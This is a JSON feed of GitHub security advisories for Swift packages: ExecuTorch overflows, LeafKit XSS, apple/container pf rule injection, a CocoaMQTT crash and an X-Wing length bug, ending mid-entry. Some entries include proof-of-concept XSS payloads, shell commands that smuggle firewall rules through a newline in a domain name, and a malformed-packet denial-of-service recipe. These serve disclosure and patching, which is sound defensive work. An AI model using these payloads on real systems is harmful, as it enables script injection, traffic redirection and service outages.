{
    "version": "https://jsonfeed.org/version/1",
    "title": "Security Advisory for Swift",
    "home_page_url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Aswift",
    "feed_url": "https://azu.github.io/github-advisory-database-rss/swift.json",
    "description": "Security Advisory for Swift on GitHub",
    "items": [
        {
            "content_html": "<p>A group of related buffer overflow vulnerabilities in the loading of ExecuTorch models can cause the runtime to crash and potentially result in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit cea9b23aa8ff78aff92829a466da97461cc7930c.</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2025-54951\">https://nvd.nist.gov/vuln/detail/CVE-2025-54951</a></li>\n<li><a href=\"https://github.com/pytorch/executorch/commit/cea9b23aa8ff78aff92829a466da97461cc7930c\">https://github.com/pytorch/executorch/commit/cea9b23aa8ff78aff92829a466da97461cc7930c</a></li>\n<li><a href=\"https://www.facebook.com/security/advisories/cve-2025-54951\">https://www.facebook.com/security/advisories/cve-2025-54951</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-xc7w-r669-48pf\">https://github.com/advisories/GHSA-xc7w-r669-48pf</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-xc7w-r669-48pf",
            "title": "[github.com/pytorch/executorch] ExecuTorch vulnerable to Heap-based Buffer Overflow",
            "date_modified": "2026-05-07T13:26:51.000Z",
            "date_published": "2025-08-08T00:30:26.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-xc7w-r669-48pf"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<p>An integer overflow vulnerability in the loading of ExecuTorch models can cause overlapping allocations, potentially resulting in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit d158236b1dc84539c1b16843bc74054c9dcba006.</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2025-30404\">https://nvd.nist.gov/vuln/detail/CVE-2025-30404</a></li>\n<li><a href=\"https://github.com/pytorch/executorch/commit/d158236b1dc84539c1b16843bc74054c9dcba006\">https://github.com/pytorch/executorch/commit/d158236b1dc84539c1b16843bc74054c9dcba006</a></li>\n<li><a href=\"https://www.facebook.com/security/advisories/cve-2025-30404\">https://www.facebook.com/security/advisories/cve-2025-30404</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-hj95-mhgf-jxc4\">https://github.com/advisories/GHSA-hj95-mhgf-jxc4</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-hj95-mhgf-jxc4",
            "title": "[github.com/pytorch/executorch] ExecuTorch integer overflow vulnerability",
            "date_modified": "2026-05-07T13:26:29.000Z",
            "date_published": "2025-08-08T00:30:26.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-hj95-mhgf-jxc4"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<p>A heap-buffer-overflow vulnerability in the loading of ExecuTorch methods can cause the runtime to crash and potentially result in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit 93b1a0c15f7eda49b2bc46b5b4c49557b4e9810f</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2025-30402\">https://nvd.nist.gov/vuln/detail/CVE-2025-30402</a></li>\n<li><a href=\"https://github.com/pytorch/executorch/commit/93b1a0c15f7eda49b2bc46b5b4c49557b4e9810f\">https://github.com/pytorch/executorch/commit/93b1a0c15f7eda49b2bc46b5b4c49557b4e9810f</a></li>\n<li><a href=\"https://www.facebook.com/security/advisories/cve-2025-30402\">https://www.facebook.com/security/advisories/cve-2025-30402</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-h952-963h-rv99\">https://github.com/advisories/GHSA-h952-963h-rv99</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-h952-963h-rv99",
            "title": "[github.com/pytorch/executorch] ExecuTorch vulnerable to Heap-based Buffer Overflow attack",
            "date_modified": "2026-05-07T13:26:09.000Z",
            "date_published": "2025-07-11T18:30:34.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-h952-963h-rv99"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<p>An out-of-bounds access vulnerability in the loading of ExecuTorch models can cause the runtime to crash and potentially result in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit fb03b6f85596a8f954d97929075335255b6a58d4.</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2025-54950\">https://nvd.nist.gov/vuln/detail/CVE-2025-54950</a></li>\n<li><a href=\"https://github.com/pytorch/executorch/commit/fb03b6f85596a8f954d97929075335255b6a58d4\">https://github.com/pytorch/executorch/commit/fb03b6f85596a8f954d97929075335255b6a58d4</a></li>\n<li><a href=\"https://www.facebook.com/security/advisories/cve-2025-54950\">https://www.facebook.com/security/advisories/cve-2025-54950</a></li>\n<li><a href=\"https://github.com/pytorch/executorch/commit/b6b7a16df5e7852d976d8c34c8a7e9a1b6f7d005\">https://github.com/pytorch/executorch/commit/b6b7a16df5e7852d976d8c34c8a7e9a1b6f7d005</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-f9hx-c6jf-3qxm\">https://github.com/advisories/GHSA-f9hx-c6jf-3qxm</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-f9hx-c6jf-3qxm",
            "title": "[github.com/pytorch/executorch] ExecuTorch out-of-bounds access vulnerability",
            "date_modified": "2026-05-07T13:25:47.000Z",
            "date_published": "2025-08-08T00:30:26.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-f9hx-c6jf-3qxm"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<p>A heap buffer overflow vulnerability in the loading of ExecuTorch models can potentially result in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit ede82493dae6d2d43f8c424e7be4721abe5242be</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2025-54949\">https://nvd.nist.gov/vuln/detail/CVE-2025-54949</a></li>\n<li><a href=\"https://github.com/pytorch/executorch/commit/ede82493dae6d2d43f8c424e7be4721abe5242be\">https://github.com/pytorch/executorch/commit/ede82493dae6d2d43f8c424e7be4721abe5242be</a></li>\n<li><a href=\"https://www.facebook.com/security/advisories/cve-2025-54949\">https://www.facebook.com/security/advisories/cve-2025-54949</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-9m39-3mf3-xwch\">https://github.com/advisories/GHSA-9m39-3mf3-xwch</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-9m39-3mf3-xwch",
            "title": "[github.com/pytorch/executorch] ExecuTorch heap buffer overflow vulnerability",
            "date_modified": "2026-05-07T13:25:20.000Z",
            "date_published": "2025-08-08T00:30:26.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-9m39-3mf3-xwch"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<p>An integer overflow vulnerability in the loading of ExecuTorch models can cause objects to be placed outside their allocated memory area, potentially resulting in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit 0830af8207240df8d7f35b984cdf8bc35d74fa73.</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2025-30405\">https://nvd.nist.gov/vuln/detail/CVE-2025-30405</a></li>\n<li><a href=\"https://github.com/pytorch/executorch/commit/0830af8207240df8d7f35b984cdf8bc35d74fa73\">https://github.com/pytorch/executorch/commit/0830af8207240df8d7f35b984cdf8bc35d74fa73</a></li>\n<li><a href=\"https://www.facebook.com/security/advisories/cve-2025-30405\">https://www.facebook.com/security/advisories/cve-2025-30405</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-84m3-f99p-cqx5\">https://github.com/advisories/GHSA-84m3-f99p-cqx5</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-84m3-f99p-cqx5",
            "title": "[github.com/pytorch/executorch] ExecuTorch integer overflow vulnerability",
            "date_modified": "2026-05-07T13:24:37.000Z",
            "date_published": "2025-08-08T00:30:26.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-84m3-f99p-cqx5"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<h3 id=\"summary\">Summary</h3>\n<p>LeafKit HTML-escaping is not working correctly when a template prints a collection (Array / Dictionary) via <code>#(value)</code>. This can result in XSS, allowing potentially untrusted input to be rendered unescaped.</p>\n<h3 id=\"details\">Details</h3>\n<p>LeafKit attempts to escape expressions during serialization, but due to <a href=\"https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L322\"><code>LeafData.htmlEscaped()</code></a>'s implementation, when the escaped type's conversion to <code>String</code> is marked as <code>.ambiguous</code> (as it is the case for Arrays and Dictionaries), an unescaped <code>self</code> is returned.</p>\n<blockquote>\n<p><strong>Note: I recommend first looking at the POC, before taking a look at the details below, as it is simple.</strong> In the detailed, verbose analysis below, I explored the functions involved in more detail, in hopes that it will help you understand and locate this issue.</p>\n</blockquote>\n<h4 id=\"the-issues-detailed-analysis\">The issue's detailed analysis:</h4>\n<ol>\n<li>Leaf expression serialization eventually reaches <code>LeafSerializer</code>'s <code>serialize</code> private function below.  This is where the <code>leafData</code> is <code>.htmlEscaped()</code>, and then serialized.</li>\n</ol>\n<p><a href=\"https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafSerialize/LeafSerializer.swift#L60-L66\">https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafSerialize/LeafSerializer.swift#L60-L66</a></p>\n<ol start=\"2\">\n<li>The <code>LeafData.htmlEscaped()</code> method uses the <code>LeafData.string</code> computed property to convert itself to a string. Then, it calls the <code>htmlEscaped()</code> method on it. However, if the string conversion fails, notice that an unescaped, unsafe <code>self</code> is returned (line 324 below):</li>\n</ol>\n<p><a href=\"https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L321-L328\">https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L321-L328</a></p>\n<ol start=\"3\">\n<li>Regarding why <code>.string</code> may return nil, if the escaped value is not a string already, a convesion is attempted, which may fail.</li>\n</ol>\n<p><a href=\"https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L211-L216\">https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L211-L216</a></p>\n<p>In this specific case, the conversion fails at line 303 below, when <code>conversion.is &gt;= level</code> is checked. The check fails because <a href=\"https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L525-L535\"><code>.array</code> and <code>.dictionary</code> conversions to <code>.string</code> are deemed <code>.ambiguous</code></a>. If we forcefully allow ambiguous conversions, the vulnerability disappears, as the conversion is successful.</p>\n<p><a href=\"https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L295-L319\">https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L295-L319</a></p>\n<ol start=\"5\">\n<li>Coming back to <code>LeafSerializer</code>'s <code>serialize</code> private method, we are now interested in finding out what happens after <code>LeafData.htmlEscaped()</code> returns self. Recall from <code>1.</code> that the output was then <code>.serialized()</code>. Thus, the unescaped <code>LeafData</code> follows the normal serialization path, as if it were HTML-escaped. More specifically, serialization is done <a href=\"https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafDataStorage.swift#L52-L63\">here</a>, where <code>.map</code> / <code>.mapValues</code> is called, unsafely serializing each element of the dictionary.</li>\n</ol>\n<h3 id=\"poc\">PoC</h3>\n\n\n<p>In a new Vapor project created with <code>vapor new poc -n --leaf</code>, use a simple leaf template like the following:</p>\n<pre><code class=\"language-html\">&lt;!doctype html&gt;\n&lt;html&gt;\n    &lt;body&gt;\n    &lt;h1&gt;#(username)&lt;/h1&gt;\n      &lt;h2&gt;someDict:&lt;/h2&gt;\n      &lt;p&gt;#(someDict)&lt;/p&gt;\n  &lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n<p>And the following <code>routes.swift</code>:</p>\n<pre><code class=\"language-swift\">import Vapor\n\nstruct User: Encodable {\n    var username: String\n    var someDict: [String: String]\n}\n\nfunc routes(_ app: Application) throws {\n    app.get { req async throws in\n        try await req.view.render(\"index\", User(\n            username: \"Escaped XSS - &lt;img src=x onerror=alert(1)&gt;\",\n            someDict: [\"&lt;img src=x onerror=alert(1337)&gt;\":\"&lt;img src=x onerror=alert(31337)&gt;\"]\n        ))\n    }\n}\n</code></pre>\n<p>By running and accessing the server in a browser, XSS should be triggered twice (with <code>alert(1337)</code> and <code>alert(31337)</code>). <code>var someDict: [String: String]</code> could also be replaced with an array / dictionary of a different type, such as another <code>Encodable</code> stuct.</p>\n<p>Also note that, in a real concerning scenario, the array / dictionary would contain (i.e. reflect) data inputted by the user.</p>\n<h3 id=\"impact\">Impact</h3>\n<p>This is a cross-site scripting (XSS) vulnerability in rendered Leaf templates. Vapor/Leaf applications that render user-controlled data inside arrays or dictionaries using <code>#(value)</code> may be impacted.</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://github.com/vapor/leaf-kit/security/advisories/GHSA-6jj5-j4j8-8473\">https://github.com/vapor/leaf-kit/security/advisories/GHSA-6jj5-j4j8-8473</a></li>\n<li><a href=\"https://github.com/vapor/leaf-kit/commit/6044b844caa858a0c5f2505ac166f5a057c990dc\">https://github.com/vapor/leaf-kit/commit/6044b844caa858a0c5f2505ac166f5a057c990dc</a></li>\n<li><a href=\"https://github.com/vapor/leaf-kit/releases/tag/1.14.2\">https://github.com/vapor/leaf-kit/releases/tag/1.14.2</a></li>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-28499\">https://nvd.nist.gov/vuln/detail/CVE-2026-28499</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-6jj5-j4j8-8473\">https://github.com/advisories/GHSA-6jj5-j4j8-8473</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-6jj5-j4j8-8473",
            "title": "[github.com/vapor/leaf-kit] LeafKit's HTML escaping may be skipped for Collection values, enabling XSS",
            "date_modified": "2026-05-07T13:24:11.000Z",
            "date_published": "2026-03-16T16:22:56.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-6jj5-j4j8-8473"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<h4 id=\"product\">Product</h4>\n<p>Name: container</p>\n<p>Github Link: <a href=\"https://github.com/apple/container\">https://github.com/apple/container</a></p>\n<p>Version: &lt;= 0.12.2</p>\n<h4 id=\"summary\">Summary</h4>\n<p>The <code>container system dns create --localhost</code> command accepts a <code>domainName</code> argument and passes it unsanitized into the pf anchor file (<code>/etc/pf.anchors/com.apple.container</code>) as a comment in a rule line. A domain name containing a newline character breaks out of the comment context and injects an arbitrary pf rule into the anchor file. When <code>pfctl -f</code> subsequently loads the configuration, the attacker-controlled rule is loaded into the macOS kernel packet filter.</p>\n<p>A <code>isValidDomainName()</code> function exists in <code>Parser.swift:892</code> but is <strong>never called</strong> from <code>DNSCreate</code>.</p>\n<p><strong>The core harm caused by this vulnerability is the bypassing of sudo privileges. An administrator may have only granted a user or an automation tool such as CI/CD the ability to execute <code>container system dns create</code> with root privileges, expecting that the user or automation tool could only add redirects from other IPs to localhost in the firewall rules file via <code>--localhost</code>. However, an attacker can exploit this vulnerability to write arbitrary rules into the firewall rules file: the target address is no longer restricted to localhost, and the rules are no longer limited to redirects.</strong></p>\n<h4 id=\"impact\">Impact</h4>\n<p><strong>What a legitimate invocation can write</strong></p>\n<p><code>--localhost</code> is an optional parameter. Its presence or absence determines whether any pf rule is written at all:</p>\n<ul>\n<li><strong>Without <code>--localhost</code></strong>: only a resolver config file is written; no pf rule is produced.</li>\n<li><strong>With <code>--localhost &lt;IP&gt;</code></strong>: exactly one rule is written to the pf anchor file:</li>\n</ul>\n<pre><code>rdr inet from any to &lt;IP&gt; -&gt; 127.0.0.1 # &lt;domain&gt;\n</code></pre>\n<p>The redirect destination is hard-coded to <code>127.0.0.1</code>. The rule type is always <code>rdr inet</code>. There is no legitimate way to produce a rule that redirects traffic to any IP other than <code>127.0.0.1</code>, nor to produce <code>pass</code>, <code>block</code>, or <code>nat</code> rules, through normal command usage.</p>\n<p><strong>What injection additionally enables</strong></p>\n<p>The injection lives in the domain name argument. <code>--localhost</code> must be supplied to trigger the <code>createRedirectRule()</code> code path — without it, no pf rule is written at all and the domain name never reaches the pf anchor file. However, the value passed to <code>--localhost</code> is unconstrained (only IP format is validated), so any valid IP suffices to open the injection path.</p>\n<pre><code class=\"language-bash\">sudo container system dns create --localhost 127.0.0.1 \\\n  $'foo.local\\nrdr inet from any to 1.2.3.4 -&gt; 5.6.7.8'\n</code></pre>\n<p>The <code>--localhost</code> value becomes the <code>from</code> IP in the legitimate rule. The injected content after the newline is an entirely independent pf directive with fully attacker-controlled <code>from</code> and <code>to</code> values.</p>\n<p>The capability gap between normal use and injection is therefore:</p>\n<table>\n<thead>\n<tr>\n<th></th>\n<th>Normal use (no <code>--localhost</code>)</th>\n<th>Normal use (with <code>--localhost</code>)</th>\n<th>Injection (with <code>--localhost</code>, domain contains <code>\\n</code>)</th>\n</tr>\n</thead>\n<tbody><tr>\n<td>Writes pf rule</td>\n<td>No</td>\n<td>Yes</td>\n<td>Yes</td>\n</tr>\n<tr>\n<td><code>from</code> IP</td>\n<td>—</td>\n<td>User-specified</td>\n<td>Arbitrary</td>\n</tr>\n<tr>\n<td><code>to</code> IP</td>\n<td>—</td>\n<td>Hard-coded <code>127.0.0.1</code></td>\n<td><strong>Arbitrary</strong></td>\n</tr>\n<tr>\n<td>Rule type</td>\n<td>—</td>\n<td><code>rdr inet</code> only</td>\n<td>Any (<code>pass</code>, <code>block</code>, <code>nat</code>, …)</td>\n</tr>\n</tbody></table>\n<p>The single capability that injection uniquely adds is: <strong>writing a pf rule with an arbitrary <code>to</code> IP</strong> — redirecting traffic to any external host rather than being confined to <code>127.0.0.1</code>.</p>\n<p><strong>Primary scenario: sudo delegation bypass</strong></p>\n<p>The most direct attack path requires only that an administrator grants a restricted user sudo access to this specific command:</p>\n<pre><code># /etc/sudoers\nuser ALL=(root) NOPASSWD: /usr/bin/container system dns create *\n</code></pre>\n<p>The administrator's intent is to allow <code>user</code> to manage DNS domains for container networking. Under normal usage this is bounded: even with <code>--localhost</code>, the command can only produce <code>rdr ... -&gt; 127.0.0.1</code> rules. Without <code>--localhost</code>, it produces no pf rules at all.</p>\n<p>With the injection, the user provides any valid IP to <code>--localhost</code> to open the pf write path, then embeds the actual malicious rule in the domain name:</p>\n<pre><code class=\"language-bash\">sudo container system dns create --localhost 127.0.0.1 \\\n  $'evil.local\\nrdr inet proto tcp from any to 10.0.0.1 -&gt; 203.0.113.1 port 4444'\n</code></pre>\n<p>This is a classic sudo delegation bypass: the administrator delegated a scoped capability; the injection expands it to writing arbitrary kernel firewall rules.</p>\n<p><strong>Additional scenarios:</strong></p>\n<ul>\n<li>An automated script or CI/CD pipeline that runs <code>sudo container system dns create $DOMAIN_FROM_ENV</code> where the environment variable originates from a container label, image metadata, or external API response — any newline in the upstream value triggers injection without any user action</li>\n<li>A developer following documentation or a README that includes a crafted domain name example (social engineering)</li>\n</ul>\n<p><strong>Consequences of successful injection:</strong></p>\n<ul>\n<li>pf redirect rules with arbitrary <code>from</code> and <code>to</code> IPs — enabling redirection of any host-level traffic to an attacker-controlled external address (not achievable through normal command use)</li>\n<li>Additional rule types (<code>pass</code>, <code>block</code>, <code>nat</code>) with arbitrary port and protocol filters loaded into the kernel</li>\n<li>Legitimate traffic selectively blocked (denial of service against specific endpoints)</li>\n<li>Injected rules persist across DNS domain deletions — the <code>removeRedirectRule()</code> cleanup path cannot match and remove standalone injected lines</li>\n</ul>\n<h4 id=\"credit\">Credit</h4>\n<p>This vulnerability was independently discovered and reported by multiple sources:</p>\n<ul>\n<li>XlabAI Team of Tencent Xuanwu Lab</li>\n<li>Atuin Automated Vulnerability Discovery Engine</li>\n<li>Mohamed Abdelaal (@0xmrma)</li>\n</ul>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://github.com/apple/container/security/advisories/GHSA-39g5-644c-qwcg\">https://github.com/apple/container/security/advisories/GHSA-39g5-644c-qwcg</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-39g5-644c-qwcg\">https://github.com/advisories/GHSA-39g5-644c-qwcg</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-39g5-644c-qwcg",
            "title": "[github.com/apple/container] container: pf Rule Injection via Domain Name Argument in `container system dns create --localhost` Command",
            "date_modified": "2026-05-07T01:43:32.000Z",
            "date_published": "2026-05-07T01:43:31.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-39g5-644c-qwcg"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<h3 id=\"summary\">Summary</h3>\n<p><code>htmlEscaped</code> in leaf-kit will only escape html  special characters if the extended grapheme clusters match, which allows bypassing escaping by using an extended grapheme cluster containing both the special html character and some additional characters. In the case of html attributes, this can lead to XSS if there is a leaf variable in the attribute that is user controlled.</p>\n<h3 id=\"details\">Details</h3>\n<p>Relevant code:\n<a href=\"https://github.com/vapor/leaf-kit/blob/main/Sources/LeafKit/String%2BHTMLEscape.swift#L14\">https://github.com/vapor/leaf-kit/blob/main/Sources/LeafKit/String%2BHTMLEscape.swift#L14</a></p>\n<p>Strings in Swift are based on extended grapheme clusters. HTML on the other hand is based on unicode characters. </p>\n<p>For example if you have the sequence \"́  (U+0022 Quotation mark followed by U+0301 Combining Acute Accent). To HTML this is just a quote mark followed by some other random character. To swift this is one extended grapheme cluster that does not equal a quotation mark by itself which is a different extended grapheme cluster.</p>\n<p>Thus <code>\"\\\"́\".replacingOccurrences(of: \"\\\"\", with: \"&amp;quot;\")</code> does not replace the quote mark. This allows you to break out of html attributes.</p>\n<p>I believe replacingOccurences takes an optional third parameter that allows you to specify options to make it work on UTF-8 characters instead of grapheme clusters, which would be a good fix for this issue.</p>\n<p>I see depending on version, leafkit might use <code>replacing</code> instead of <code>replacingOccurences</code>. I don't know swift that well and couldn't find docs on what replacing does, so I don't know if both versions of the function are affected. The version of swift i was testing on I believe was using replacingOccurences</p>\n<p>It seems like replacingOccurences will skip past prefix characters of extended grapheme clusters, which is what would be needed in order to meaningfully bypass esaping of &lt;. Thus i think this is mostly limited to attributes and not general text.</p>\n<h3 id=\"poc\">PoC</h3>\n<p>An example vapor application that is vulnerable might look like</p>\n<p>routes.swift</p>\n<pre><code class=\"language-swift\">import Vapor\n\nstruct Hello: Content {\n    var msg: String?\n}\n\nfunc routes(_ app: Application) throws {\n    app.post { req throws in\n    let Hello = try req.content.decode(Hello.self)\n        return req.view.render(\"hello\", [\n            \"msg\": Hello.msg ?? \"Hello World!\"\n        ])\n    }\n}\n</code></pre>\n<p>With a hello.leaf that looks like</p>\n<pre><code>&lt;div title=\"#(msg)\"&gt;Hover to see message&lt;/div&gt;\n</code></pre>\n<p>And then you POST something like <code>msg=%22%cc%81=1%20autofocus%20tabindex=0%20onfocus=alert(1)%20</code></p>\n<h3 id=\"impact\">Impact</h3>\n<p>If a website uses leaf to escape an attribute value based on user input, the attacker may be able to insert a malicious attribute. If a site is not using a secure CSP policy, then this can be used to execute malicious javascript (XSS). Impact is context dependent if a site is using a secure CSP policy.</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://github.com/vapor/leaf-kit/security/advisories/GHSA-4hfh-fch3-5q7p\">https://github.com/vapor/leaf-kit/security/advisories/GHSA-4hfh-fch3-5q7p</a></li>\n<li><a href=\"https://github.com/vapor/leaf-kit/commit/8919e39476c3a4ba05c28b71546bb9195f87ef34\">https://github.com/vapor/leaf-kit/commit/8919e39476c3a4ba05c28b71546bb9195f87ef34</a></li>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-27120\">https://nvd.nist.gov/vuln/detail/CVE-2026-27120</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-4hfh-fch3-5q7p\">https://github.com/advisories/GHSA-4hfh-fch3-5q7p</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-4hfh-fch3-5q7p",
            "title": "[github.com/vapor/leaf-kit] Leaf-kit html escaping does not work on characters that are part of extended grapheme cluster",
            "date_modified": "2026-04-22T16:24:16.000Z",
            "date_published": "2026-02-19T19:40:08.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-4hfh-fch3-5q7p"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<p>A vulnerability exists in the packet parsing logic of CocoaMQTT that allows an attacker (or a compromised/malicious MQTT broker) to remotely crash the host iOS/macOS/tvOS application.</p>\n<p>The vulnerability is located in <code>Source/FramePublish.swift</code> during the extraction of the Topic string from the incoming byte array.</p>\n<p>When parsing the Variable Header of a <code>PUBLISH</code> frame, the library reads the first two bytes to determine the <code>topicLength</code>. It then adds this length to the current position (<code>pos</code>) and attempts to slice the byte array to extract the string:</p>\n<pre><code class=\"language-swift\">if let data = NSString(bytes: [UInt8](bytes[2...(pos-1)]), length: Int(len), encoding: String.Encoding.utf8.rawValue) {\n    topic = data as String\n}\n</code></pre>\n<p>If a packet is received where the Topic Length evaluates to <code>0</code> (e.g., <code>0x00 0x00</code>), the <code>len</code> variable becomes <code>0</code>, and <code>pos</code> evaluates to <code>2</code>.</p>\n<p>The slicing logic dynamically calculates <code>bytes[2...(2-1)]</code>, which becomes <strong><code>bytes[2...1]</code></strong>. Swift's <code>ClosedRange</code> operator (<code>...</code>) requires the lower bound to be less than or equal to the upper bound. Because 2 is not less than 1, Swift detects an out-of-bounds access attempt and immediately triggers a runtime trap (<code>Fatal error: Range requires lowerBound &lt;= upperBound</code>), crashing the host application.</p>\n<p>If an attacker publishes this 4-byte malformed payload to a shared topic with the <code>RETAIN</code> flag set to true, the MQTT broker will persist the payload. Any time a vulnerable client connects and subscribes to that topic, the broker will automatically push the malformed packet. The app will instantly crash in the background before the user can even interact with it. This effectively \"bricks\" the mobile application (a persistent DoS) until the retained message is manually wiped from the broker database.</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://github.com/emqx/CocoaMQTT/security/advisories/GHSA-r3fr-7m74-q7g2\">https://github.com/emqx/CocoaMQTT/security/advisories/GHSA-r3fr-7m74-q7g2</a></li>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-30867\">https://nvd.nist.gov/vuln/detail/CVE-2026-30867</a></li>\n<li><a href=\"https://github.com/emqx/CocoaMQTT/pull/659\">https://github.com/emqx/CocoaMQTT/pull/659</a></li>\n<li><a href=\"https://github.com/emqx/CocoaMQTT/commit/010bca6f61b97d726252f61641d331a2bf82b338\">https://github.com/emqx/CocoaMQTT/commit/010bca6f61b97d726252f61641d331a2bf82b338</a></li>\n<li><a href=\"https://github.com/emqx/CocoaMQTT/releases/tag/2.2.2\">https://github.com/emqx/CocoaMQTT/releases/tag/2.2.2</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-r3fr-7m74-q7g2\">https://github.com/advisories/GHSA-r3fr-7m74-q7g2</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-r3fr-7m74-q7g2",
            "title": "[CocoaMQTT] CocoaMQTT: Denial of Service via Reachable Assertion in `PUBLISH` Packet Parsing ",
            "date_modified": "2026-04-03T21:33:59.000Z",
            "date_published": "2026-04-03T21:33:58.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-r3fr-7m74-q7g2"
            },
            "tags": [
                "severity"
            ]
        },
        {
            "content_html": "<h3 id=\"summary\">Summary</h3>\n<p>The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter <code>Data</code> value is passed in, because the C code may read beyond the Swift buffer.</p>\n<p>The issue is reachable through initialization of an <code>HPKE.Recipient</code>, which decapsulates the provided <code>encapsulatedKey</code> during construction. A malformed <code>encapsulatedKey</code> can therefore trigger undefined behavior instead of a safe length-validation error.</p>\n<h3 id=\"details\">Details</h3>\n<p>The <code>decapsulate</code> function of <code>OpenSSLXWingPrivateKeyImpl</code>  does not perform a length check before passing the <code>encapsulated</code> data to the C API.</p>\n<pre><code class=\"language-swift\">func decapsulate(_ encapsulated: Data) throws -&gt; SymmetricKey {\n    try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in\n        try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in\n            let rc = CCryptoBoringSSL_XWING_decap(\n                sharedSecretBytes.baseAddress,\n                encapsulatedSecretBytes.baseAddress,\n                